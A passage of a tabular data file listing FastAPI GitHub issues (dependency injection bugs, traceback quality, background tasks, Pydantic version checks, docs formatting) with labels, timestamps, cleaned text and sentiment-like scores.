@app.get(""/items2/"")
async def r... [TRUNCATED]",bug,2025-02-20 16:17:31+00:00,2025-03-24 11:28:01+00:00,15,bug,31.799,header parameter and model handling does not work as expected discussed in originally posted by freud tm january first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import annotated typealias from fastapi import fastapi header from pydantic import basemodel app fastapi class commonheaders basemodel host str save data bool if modified since str none none traceparent str none none x tag list str commonheadersannotated typealias annotated commonheaders header app get items async def read items headers commonheadersannotated return headers app get items async def r truncated,bug,0.9517
tiangolo/fastapi,2866350269,Dependency Models created from Form input data are loosing metadata(field set) and are enforcing validation on default values.,"
### Discussed in https://github.com/fastapi/fastapi/discussions/13380

<div type='discussions-op-text'>

<sup>Originally posted by **sneakers-the-rat** February 16, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

**Short version (UPD by @YuriiMotov):**

```python
from typing import Annotated

from fastapi import FastAPI, Form
from fastapi.testclient import TestClient
from pydantic import BaseModel

class ExampleModel(BaseModel):
    field_1: bool = True

app = FastAPI()

@app.post(""/body"")
async def body_endpoint(model: ExampleModel):
    return {""fields_set"": list(model.model_fields_set)}

@app.post(""/form"")
async def form_endpoint(model: Annotated[ExampleModel, Form()]):
    return {""fields_set"": list(m... [TRUNCATED]",question,2025-02-20 14:36:29+00:00,2026-05-18 13:15:07+00:00,32,question,451.9435,dependency models created from form input data are loosing metadata field set and are enforcing validation on default values discussed in originally posted by sneakers the rat february first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code short version upd by yuriimotov python from typing import annotated from fastapi import fastapi form from fastapi testclient import testclient from pydantic import basemodel class examplemodel basemodel field bool true app fastapi app post body async def body endpoint model examplemodel return fields set list model model fields set app post form async def form endpoint model annotated examplemodel form return fields set list m truncated,help,0.9568
tiangolo/fastapi,2828021729,Callable object as dependency with body params is not parsing parameters inside `__call__` properly,"When callable object is used as dependency, there is problem with parameters inside `__call__` method of object class. With following setup, you end up with query parameters instead of body parameters:

```python
class SomeModel(BaseModel):
    arg1: str

class SomeDependency:
    def __call__(
        self,
        some_model: Annotated[SomeModel, Body(..., description=""Some model"")],
    ) -> dict:
        print(some_model.arg1)

@app.post(""/hello"")
async def hello(data: Annotated[dict, Depends(SomeDependency())]):
    return data
```

Console:
```
pydantic.errors.PydanticUserError: `TypeAdapter[typing.Annotated[ForwardRef(""Annotated[SomeModel, Body(..., description='Some model')]""), Query(PydanticUndefined)]]` is not fully defined; you should define `typing.Annotated[ForwardRef(""Annotated[SomeModel, Body(..., description='Some model')]""), Query(PydanticUndefined)]` and all referenced types, then call `.rebuild()` on the instance.
```

`Query(PydanticUndefined)` makes no sense, there are no query parameters. But when this function (in `fastapi/dependencies/utils.py`) gets updated:

```python
def get_typed_signature(call: Callable[..., Any]) -> inspect.Signature:
    signature = inspect.signature(call)
    globalns = getattr(call, ""__globals__"", {})
    ...
```

into this:

```python
def get_typed_signature(call: Callable[..., Any]) -> inspect.Signature:
    signature = inspect.signature(call)
    if isinstance(call, type) or isinstance(call, types.FunctionType):
        glo... [TRUNCATED]",,2025-02-03 16:44:42+00:00,2025-02-04 08:59:57+00:00,0,nan,0.6773,callable object as dependency with body params is not parsing parameters inside properly when callable object is used as dependency there is problem with parameters inside method of object class with following setup you end up with query parameters instead of body parameters console makes no sense there are no query parameters but when this function in gets updated into this python def get typed signature call callable any inspect signature signature inspect signature call if isinstance call type or isinstance call types functiontype glo truncated,others,-0.4678
tiangolo/fastapi,2774724066,Duplicated OperationID when adding route with multiple methods,"### Discussed in https://github.com/fastapi/fastapi/discussions/8449

<div type='discussions-op-text'>

<sup>Originally posted by **bruchar1** March 30, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
router.add_api_route(
    ""/clear"",
    clear,
    methods=[""POST"", ""DELETE""]
)
```


### Description

Seems to be caused by #4650.

The new `generate_unique_id()` function uses `list(route.methods)[0].lower()` as suffix for the `operation_id`. Therefore, in my example, both post and delete endpoints get `_post` suffix for operation_id, causing it to no longer be unique.

It then issues a ""UserWarning: Duplicate Operation ID""

### Operating System

... [TRUNCATED]","question,question-migrate",2025-01-08 08:52:57+00:00,2026-05-18 13:13:45+00:00,5,"question,question-migrate",495.1811,duplicated operationid when adding route with multiple methods discussed in originally posted by bruchar march first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description seems to be caused by the new function uses as suffix for the therefore in my example both post and delete endpoints get suffix for operation id causing it to no longer be unique it then issues a userwarning duplicate operation id truncated,help,0.872
tiangolo/fastapi,2767291074,Simplify tests for variants,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## Summary

Simplify tests for variants, from multiple test files (one test file per variant) to a single test file with parameters to test each variant.

## Background

Currently, we have multiple source example variants for different Python versions:

* Python 3.8
* Python 3.9
* Python 3.10

And we have versions using `Annotated` and without using it.

Combining that, for each source app, we end up with different variants.

For example, for `docs_src/query_params_str_validations/tutorial010.py`, for this same `tutorial010`, we have these variants:


* `docs_src/query_params_str_validations/tutorial010_an_py39.py`
    * Using `Annotated`, Python 3.9.
* `docs_src/query_params_str_validations/tutorial010_an_py310.py`
    * Using `Annotated`, Python 3.10.
* `docs_src/query_params_str_validations/tutorial010_an.py`
    * Using `Annotated`, Python 3.8 (as 3.8 is the oldest, this one doesn't have a part in the name like `py38`).
* `docs_src/query_params_str_validations/tutorial010_py310.py`
    * Python 3.10, not using `Annotated` (as not using `Annotated` is the oldest form, it just doesn't have the `an` part in the file name.
* `docs_src/query_params_str_validations/tutorial010.py`
    * Not using `Annotated`, Python 3.8.


Each of these files represent the same FastAPI app, but with the improved syntax for Python 3.9, or 3.10, or using `A... [TRUNCATED]",,2025-01-03 09:57:09+00:00,2025-09-21 09:41:45+00:00,6,nan,260.9893,simplify tests for variants privileged issue x i m tiangolo or he asked me directly to create an issue here issue content summary simplify tests for variants from multiple test files one test file per variant to a single test file with parameters to test each variant background currently we have multiple source example variants for different python versions python python python and we have versions using and without using it combining that for each source app we end up with different variants for example for for this same we have these variants using python using python using python as is the oldest this one doesn t have a part in the name like python not using as not using is the oldest form it just doesn t have the part in the file name not using python each of these files represent the same fastapi app but with the improved syntax for python or or using a truncated,others,0.8126
tiangolo/fastapi,2762723101,"When I use contextvars, I unexpectedly found that FastAPI clears the content I set somewhere. Is this result normal?","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

#### code
```
def print_task_id(mn: str):
    try:
        print(mn, ""task_id"", id(asyncio.current_task()))
    except Exception:
        print(mn, ""task_id"", ""None"")


def print_thread_id(flag: str):
    print(flag, ""thread id:"", threading.current_thread().ident)


def print_contextvars_name(flag: str):
    print(flag, ""contextvars_name:"", contextvars_name.get())


def print_all(flag: str):
    print_thread_id(flag)
    print_task_id(flag)
    print_contextvars_name(flag)


@router.get(""/test1"")
def test(cn: str | None = None):
    print_all(""test1"")
    if cn:
        contextvars_name.set(cn)
        print_all(""test1"")
    return R(""test1"")
```
#### steps
access to test1,param.cn=tt1
access to test1
#### log
```
INFO:     Uvicorn running on http://0.0.0.0:8091 (Press CTRL+C to quit)
INFO:     127.0.0.1:60430 - ""GET /docs_local HTTP/1.1"" 200 OK
INFO:     127.0.0.1:60430 - ""GET /static/swagger-ui/swagger-ui.css HTTP/1.1"" 200 OK
INFO:     127.0.0.1:60431 - ""GET /static/swagger-ui/swagger-ui-bundle.js HTTP/1.1"" 200 OK
INFO:     127.0.0.1:60431 - ""GET /openapi.json HTTP/1.1"" 200 OK
test1 thread id: 24496
test1 task_id None
test1 contextvars_name: contextvars_name_default
test1 thread id: 24496
test1 task_id None
test1 contextvars_name: tt1
INFO:     127.0.0.1:60432 - ""GET /test/test1?cn=tt1 HTTP/1.1"" 200 OK
test1 thr... [TRUNCATED]",,2024-12-30 06:29:21+00:00,2024-12-30 06:54:06+00:00,0,nan,0.0172,when i use contextvars i unexpectedly found that fastapi clears the content i set somewhere is this result normal privileged issue x i m tiangolo or he asked me directly to create an issue here issue content code steps access to test param cn tt access to test log info uvicorn running on press ctrl c to quit info get docs local http ok info get static swagger ui swagger ui css http ok info get static swagger ui swagger ui bundle js http ok info get openapi json http ok test thread id test task id none test contextvars name contextvars name default test thread id test task id none test contextvars name tt info get test test cn tt http ok test thr truncated,others,0.9231
tiangolo/fastapi,2762152786,background tasks don't run when raise a HTTPException,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```python
from fastapi import FastAPI, HTTPException, BackgroundTasks

app = FastAPI()

items = {
    'apple': 10,
    'banana': 5,
}

def task1():
    print(""Task 1 is running in the background"")

@app.get(""/items/{name}"")
async def read_item(name: str, background_tasks: BackgroundTasks):
    background_tasks.add_task(task1)
    
    if name in items:
        return {""name"": name, ""count"": items[name]}
    else:
        raise HTTPException(status_code=404, detail=""Item not found"")
```

1. when ```name is``` found in ```items```, background is excuted :

```
curl -X 'GET' \
  'http://127.0.0.1:8006/items/apple' \
  -H 'accept: application/json'
```
console output 
```
INFO:     127.0.0.1:58360 - ""GET /items/apple HTTP/1.1"" 200 OK
Task 1 is running in the background
```

2.  when ```name``` is found in ```items```, background is ***not*** excuted :

```
curl -X 'GET' \
  'http://127.0.0.1:8006/items/orange' \
  -H 'accept: application/json'
```
console output 
```
INFO:     127.0.0.1:58360 - - ""GET /items/orange HTTP/1.1"" 404 Not Found
```",,2024-12-29 08:12:45+00:00,2024-12-29 08:13:50+00:00,2,nan,0.0008,background tasks don t run when raise a httpexception privileged issue x i m tiangolo or he asked me directly to create an issue here issue content when found in background is excuted console output when is found in background is not excuted console output,others,0.6124
tiangolo/fastapi,2761127356,Incorrect handling of non utf-8 data in body in case of a validataion error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

There was no way to report actual issue by the rules so I had to lie about being able to do so...
There has to be a section in discussions or something then.

```
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""REDACTED\.venv\Lib\site-packages\starlette\_exception_handler.py"", line 53, in wrapped_app
    await app(scope, receive, sender)
  File ""REDACTED\.venv\Lib\site-packages\starlette\routing.py"", line 72, in app
    response = await func(request)
               ^^^^^^^^^^^^^^^^^^^
  File ""REDACTED\.venv\Lib\site-packages\fastapi\routing.py"", line 315, in app
    raise validation_error
fastapi.exceptions.RequestValidationError: [{'type': 'model_attributes_type', 'loc': ('body',), 'msg': 'Input should be a valid dictionary or object to extract fields from', 'input': b'----cpp-httplib-multipart-data-UxL5MB5nIRg5wqYk\r\nContent-Disposition: form-data; name=""metadata""\r\nContent-Type: application/json\r\n\r\n{""started"":1735320698,""length_seconds"":3}\r\n----cpp-httplib-multipart-data-UxL5MB5nIRg5wqYk\r\nContent-Disposition: form-data; name=""metadata""; filename=""main.ogg""\r\nContent-Type: audio/ogg\r\n\r\nOggS\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x81Z\x97E\x00\x00\x00\x00\x0b\xffmn\x01\x13OpusHead\x01\x028\x01\x80>\x00\x00\x00\x00\x00OggS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x81Z\x97E\x01\x00\x00\x00\xf3sR\x98\... [TRUNCATED]",,2024-12-27 17:39:46+00:00,2024-12-28 04:27:19+00:00,1,nan,0.4497,incorrect handling of non utf data in body in case of a validataion error privileged issue x i m tiangolo or he asked me directly to create an issue here issue content there was no way to report actual issue by the rules so i had to lie about being able to do so there has to be a section in discussions or something then error exception in asgi application traceback most recent call last file redacted venv lib site packages starlette exception handler py line in wrapped app await app scope receive sender file redacted venv lib site packages starlette routing py line in app response await func request file redacted venv lib site packages fastapi routing py line in app raise validation error fastapi exceptions requestvalidationerror type model attributes type loc body msg input should be a valid dictionary or object to extract fields from input b cpp httplib multipart data uxl mb nirg wqyk r ncontent disposition form data name metadata r ncontent type application json r n r n started length seconds r n cpp httplib multipart data uxl mb nirg wqyk r ncontent disposition form data name metadata filename main ogg r ncontent type audio ogg r n r noggs x x x x x x x x x x x z x e x x x x x b xffmn x x opushead x x x x x x x x x oggs x x x x x x x x x x x z x e x x x x xf sr x truncated,bug,-0.6597
tiangolo/fastapi,2737728409,poor quality traceback / useful stack frames not present when exceptions raised in sync dependencies,"### Privileged issue

- [X] I'm ~@tiangolo or he asked me directly to create an issue here~ a liar, but the discussion template was crazy onerous, and I'm confident I can write a decent, succinct issue description that's worth reading here ;-)

### Issue Content

If I apply this diff to the [full-stack-fastapi-template](https://github.com/fastapi/full-stack-fastapi-template/blob/88c83cc06ccab67efa839c2c0994435b727986a3/backend/app/api/deps.py#L21-L23):

```diff
diff --git a/backend/app/api/deps.py b/backend/app/api/deps.py
index c2b83c8..c99cdb2 100644
--- a/backend/app/api/deps.py
+++ b/backend/app/api/deps.py
@@ -19,6 +19,7 @@ reusable_oauth2 = OAuth2PasswordBearer(
 
 
 def get_db() -> Generator[Session, None, None]:
+    raise Exception(""error"")
     with Session(engine) as session:
         yield session
```


...and issue a GET to `http://127.0.0.1:8000/api/v1/users/`, the traceback shown in the console is really unhelpful:

```
  File ""...3.11/lib/python3.11/contextlib.py"", line 650, in enter_async_context
    result = await _enter(cm)
             ^^^^^^^^^^^^^^^^
  File ""...3.11/lib/python3.11/contextlib.py"", line 210, in __aenter__
    return await anext(self.gen)
           ^^^^^^^^^^^^^^^^^^^^^
  File "".../full-stack-fastapi-template/backend/.venv/lib/python3.11/site-packages/fastapi/concurrency.py"", line 35, in contextmanager_in_threadpool
    raise e
Exception: error

```

There are no frames from the actual site of the exce... [TRUNCATED]",,2024-12-13 08:04:35+00:00,2024-12-13 08:07:40+00:00,7,nan,0.0021,poor quality traceback useful stack frames not present when exceptions raised in sync dependencies privileged issue x i m tiangolo or he asked me directly to create an issue here a liar but the discussion template was crazy onerous and i m confident i can write a decent succinct issue description that s worth reading here issue content if i apply this diff to the full stack fastapi template and issue a get to the traceback shown in the console is really unhelpful there are no frames from the actual site of the exce truncated,others,0.25
tiangolo/fastapi,2729953389,Can't use `Annotated` with `ForwardRef`,"### Issue Content

The following code doesn't generate the correct OpenAPI json:

```py
from __future__ import annotations

from dataclasses import dataclass
from typing import Annotated

from fastapi import Depends, FastAPI

app = FastAPI()


def get_potato() -> Potato:
    return Potato(color='red', size=10)


@app.get('/')
async def read_root(potato: Annotated[Potato, Depends(get_potato)]):
    return {'Hello': 'World'}


@dataclass
class Potato:
    color: str
    size: int
```

If we move the `Potato` up, or remove the `Annotated`, then it works as expected.",bug,2024-12-10 12:11:29+00:00,2026-05-18 13:13:20+00:00,16,bug,524.043,can t use with issue content the following code doesn t generate the correct openapi json if we move the up or remove the then it works as expected,bug,0.0
tiangolo/fastapi,2712355915,StreamingResponse was block my program???,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

async def generate_predictions(model_name):
    global stop_flag
    mean, std, labels, model, pca_model = get_init(model_name)  
    async for prediction in collect_predict(mean, std, labels, model, pca_model):
        if stop_flag == True:
            stop_flag = False 
            break
        yield json.dumps({""prediction"": prediction}) + ""\n""

@router.get(""/end_predict"")
def end_predict():
    global stop_flag
    stop_flag = True
    return {'message' : 'End predict'}

@router.post(""/predict"")
def predict_func(data: predict):
    model_name = data.name_predict
    return StreamingResponse(
        generate_predictions(model_name), 
        media_type=""application/json""
    )
",,2024-12-02 15:37:55+00:00,2024-12-02 16:22:27+00:00,0,nan,0.0309,streamingresponse was block my program privileged issue x i m tiangolo or he asked me directly to create an issue here issue content async def generate predictions model name global stop flag mean std labels model pca model get init model name async for prediction in collect predict mean std labels model pca model if stop flag true stop flag false break yield json dumps prediction prediction n router get end predict def end predict global stop flag stop flag true return message end predict router post predict def predict func data predict model name data name predict return streamingresponse generate predictions model name media type application json,others,-0.6124
tiangolo/fastapi,2710921725,Traceback stack does not show exact place of error,"### Discussed in https://github.com/fastapi/fastapi/discussions/8428

<div type='discussions-op-text'>

<sup>Originally posted by **NewSouthMjos** December  5, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Depends


app = FastAPI()


def get_something_sync():
    yield True


async def get_something_async():
    yield True


@app.get('/1')
def router_func(dependency=Depends(get_something_sync)):
    raise ValueError
    return


@app.get('/2')
def router_func(dependency=Depends(get_something_async)):
    raise ValueError
    return


if __name__ == ""__main__"":
    uvicorn.run(""main:app"", hos... [TRUNCATED]","question,question-migrate",2024-12-02 07:48:49+00:00,2024-12-03 22:37:13+00:00,2,"question,question-migrate",1.6169,traceback stack does not show exact place of error discussed in originally posted by newsouthmjos december first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import uvicorn from fastapi import fastapi depends app fastapi def get something sync yield true async def get something async yield true app get def router func dependency depends get something sync raise valueerror return app get def router func dependency depends get something async raise valueerror return if name main uvicorn run main app hos truncated,bug,0.959
tiangolo/fastapi,2709197467,Multipart upload is not working without a trailing slash,"```
Expected boundary character 45, got 20 at index 2
```

Related: 
https://github.com/fastapi/fastapi/discussions/7062#discussioncomment-6090647_",,2024-12-01 13:28:18+00:00,2024-12-03 10:14:34+00:00,3,nan,1.8655,multipart upload is not working without a trailing slash related,others,0.2057
tiangolo/fastapi,2691792627,FastApi website issue,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Issue in Fastapi website in ubuntu-mint flavor

Look at the top of the menu bar

![image](https://github.com/user-attachments/assets/ffe82cdf-2e9f-4d49-bef8-6ceea8c57e85)
",,2024-11-25 18:34:18+00:00,2024-11-26 06:56:54+00:00,0,nan,0.5157,fastapi website issue privileged issue x i m tiangolo or he asked me directly to create an issue here issue content issue in fastapi website in ubuntu mint flavor look at the top of the menu bar image,bug,0.7003
tiangolo/fastapi,2676906576,"Will FastAPI support QUERY http method? ""app.query""","### Discussed in https://github.com/fastapi/fastapi/discussions/6049

<div type='discussions-op-text'>

<sup>Originally posted by **FilipeMarch** December 16, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.query('/query/subjects')
def query_subjects(schema: ArbitrarySchema):
    with Session(engine) as db:
        subjects = db.query(Subject).all()
        return schema(**subjects)

# something like this
```


### Description

There is a new HTTP method called QUERY, I discovered it this week and it is super interesting!

https://www.ietf.org/archive/id/draft-ietf-httpbis-safe-method-w-body-02... [TRUNCATED]",feature,2024-11-20 19:17:57+00:00,2026-02-05 16:49:50+00:00,32,feature,441.8971,will fastapi support query http method app query discussed in originally posted by filipemarch december first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description there is a new http method called query i discovered it this week and it is super interesting truncated,feature,0.9734
tiangolo/fastapi,2676604146,Fastapi performance issue not responding  important ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hai 
We using fastapi last 1.5 Yr we facing daily issues on that on performance like 100 to 200 clients requesting every 5 sec some time not responding some time totally hanging we restarting the services 
Additional information we used mysql",,2024-11-20 17:17:52+00:00,2024-11-20 17:59:47+00:00,0,nan,0.0291,fastapi performance issue not responding important privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hai we using fastapi last yr we facing daily issues on that on performance like to clients requesting every sec some time not responding some time totally hanging we restarting the services additional information we used mysql,bug,0.1536
tiangolo/fastapi,2660617674,Starting multiple processes within multiple processes in Python,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I defined a multiprocessing pool in the initialization function, and then started multiple processes within a single process, resulting in an error.：：AssertionError: daemonic processes are not allowed to have children
The code works fine outside of your framework, so is it due to some limitations in your framework or another reason?",,2024-11-15 03:28:21+00:00,2024-11-15 08:54:55+00:00,0,nan,0.2268,starting multiple processes within multiple processes in python privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i defined a multiprocessing pool in the initialization function and then started multiple processes within a single process resulting in an error assertionerror daemonic processes are not allowed to have children the code works fine outside of your framework so is it due to some limitations in your framework or another reason,others,0.4215
tiangolo/fastapi,2658972961,"Do you have a performance checker for FaskAPI? The problem is that when you make 100 concurrent requests, the API returns are slow. How do you solve it?","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

![image](https://github.com/user-attachments/assets/531ebf3c-0d76-4241-a742-b9286e20736d)
![image](https://github.com/user-attachments/assets/7942db47-2a25-4af7-aaa1-4a6c40ccd735)
![image](https://github.com/user-attachments/assets/c91ae68c-e57c-471b-a182-b0a49dea3df6)
Is there a problem with the code, is there any code to refer to, or is there a health monitoring tool to check the FaskAPI",,2024-11-14 14:25:24+00:00,2024-11-14 14:44:09+00:00,0,nan,0.013,do you have a performance checker for faskapi the problem is that when you make concurrent requests the api returns are slow how do you solve it privileged issue x i m tiangolo or he asked me directly to create an issue here issue content image image image is there a problem with the code is there any code to refer to or is there a health monitoring tool to check the faskapi,bug,-0.3818
tiangolo/fastapi,2649423251,Upcoming Pydantic 2.10 is going to break version comparison checks,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The following check:

https://github.com/fastapi/fastapi/blob/5a48c37056397e47ab164ba4430807aa6fc9a710/fastapi/params.py#L108-L109

is going to be flawed when we release Pydantic 2.10 (in a week):

```python
""2.10.0"" > ""2.7.0""
#> False
```",bug,2024-11-11 13:57:22+00:00,2024-11-12 16:11:14+00:00,1,bug,1.093,upcoming pydantic is going to break version comparison checks privileged issue x i m tiangolo or he asked me directly to create an issue here issue content the following check is going to be flawed when we release pydantic in a week,bug,0.6124
tiangolo/fastapi,2636852557,Dependency Injection and Field Validation,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

code
```
def get_db():
    db = SessionLocal2()
    try:
        yield db
    except Exception as e:
        logger.exception(e)
        db.rollback() 
        raise e
    finally:
        db.close()
class NurseNewSchema(BaseModel):
    family_user_id: str
    time_day: int
    nurse_master: str
    nurse_remarks: str | None
    nurse_title: str

async def post_new_nurse(item: NurseNewSchema, db=Depends(get_db)):
    pass
```
When nurse_master is not filled in, data verification fails, but the interface executes to get_db, and when yielding db, it reports data verification failure.

2024-11-06 09:58:29.965 | ERROR    | core:get_db:59 - [{'loc': ('body', 'nurse_master'), 'msg': 'field required', 'type': 'value_error.missing'}]
Traceback (most recent call last):

  File ""/usr/lib/python3.10/threading.py"", line 973, in _bootstrap
    self._bootstrap_inner()
    │    └ <function Thread._bootstrap_inner at 0x7fd6edf39090>
    └ <WorkerThread(AnyIO worker thread, started 140559949760064)>
  File ""/usr/lib/python3.10/threading.py"", line 1016, in _bootstrap_inner
    self.run()
    │    └ <function WorkerThread.run at 0x7fd6c1500430>
    └ <WorkerThread(AnyIO worker thread, started 140559949760064)>
  File ""/home/ouyang/.env/paper/lib/python3.10/site-packages/anyio/_backends/_asyncio.py"", line 807, in run
    result = context.run(func, *ar... [TRUNCATED]",,2024-11-06 01:59:36+00:00,2024-11-15 08:55:08+00:00,2,nan,9.2886,dependency injection and field validation privileged issue x i m tiangolo or he asked me directly to create an issue here issue content code when nurse master is not filled in data verification fails but the interface executes to get db and when yielding db it reports data verification failure error core get db loc body nurse master msg field required type value error missing traceback most recent call last file usr lib python threading py line in bootstrap self bootstrap inner file usr lib python threading py line in bootstrap inner self run file home ouyang env paper lib python site packages anyio backends asyncio py line in run result context run func ar truncated,others,-0.9109
tiangolo/fastapi,2632413136,error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

INFO:     Will watch for changes in these directories: ['C:\\Users\\wangy']
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
INFO:     Started reloader process [20616] using WatchFiles
ERROR:    Error loading ASGI app. Could not import module ""main"".
",,2024-11-04 10:25:25+00:00,2024-11-04 10:29:59+00:00,0,nan,0.0032,error privileged issue x i m tiangolo or he asked me directly to create an issue here issue content info will watch for changes in these directories c users wangy info uvicorn running on press ctrl c to quit info started reloader process using watchfiles error error loading asgi app could not import module main,bug,-0.6124
tiangolo/fastapi,2615856044,Update docs include syntax for source examples,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

This is a good first contribution. :nerd_face: 

The code examples shown in the docs are actual Python files. They are even tested in CI, that's why you can always copy paste an example and it will always work, the example is tested.

The way those examples are included in the docs used a specific format. But now there's a new format available that is much simpler and easier to use than the previous one, in particular in complex cases, for example when there are examples in multiple versions of Python.

But not all the docs have the new format yet. The docs should use the new format to include examples. That is the task. :nerd_face: 

**It should be done as one PR per page updated.**

## Simple Example

Before, the format was like:

````markdown
```Python hl_lines=""3""
{!../../docs_src/first_steps/tutorial001.py!}
```
````

Now the new format looks like:

````markdown
{* ../../docs_src/first_steps/tutorial001.py hl[3] *}
````

* Instead of `{!` and `!}` it uses `{*` and `*}`
* It no longer has a line above with:

````markdown
```Python
````

* And it no longer has a line below with:

````markdown
```
````

* The highlight is no longer a line with e.g. `hl_lines=""3""` (to highlight line 3), but instead in the same line there's a `hl[3]`.

An example PR: https://github.com/fastapi/fastapi/pull/12552

## Multiple Python Ver... [TRUNCATED]",good first issue,2024-10-26 13:06:48+00:00,2024-11-18 02:45:54+00:00,30,good first issue,22.5688,update docs include syntax for source examples privileged issue x i m tiangolo or he asked me directly to create an issue here issue content this is a good first contribution nerd face the code examples shown in the docs are actual python files they are even tested in ci that s why you can always copy paste an example and it will always work the example is tested the way those examples are included in the docs used a specific format but now there s a new format available that is much simpler and easier to use than the previous one in particular in complex cases for example when there are examples in multiple versions of python but not all the docs have the new format yet the docs should use the new format to include examples that is the task nerd face it should be done as one pr per page updated simple example before the format was like python hl lines docs src first steps tutorial py now the new format looks like instead of and it uses and it no longer has a line above with python markdown the highlight is no longer a line with e g to highlight line but instead in the same line there s a an example pr multiple python ver truncated,bug,0.8968
tiangolo/fastapi,2601422400,"Use Request in Fastapi to get post json data request, it throw a error : exception in asgi application","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

code:
![image](https://github.com/user-attachments/assets/57cba8ee-0b23-41b9-bc65-5061680dca19)
error:
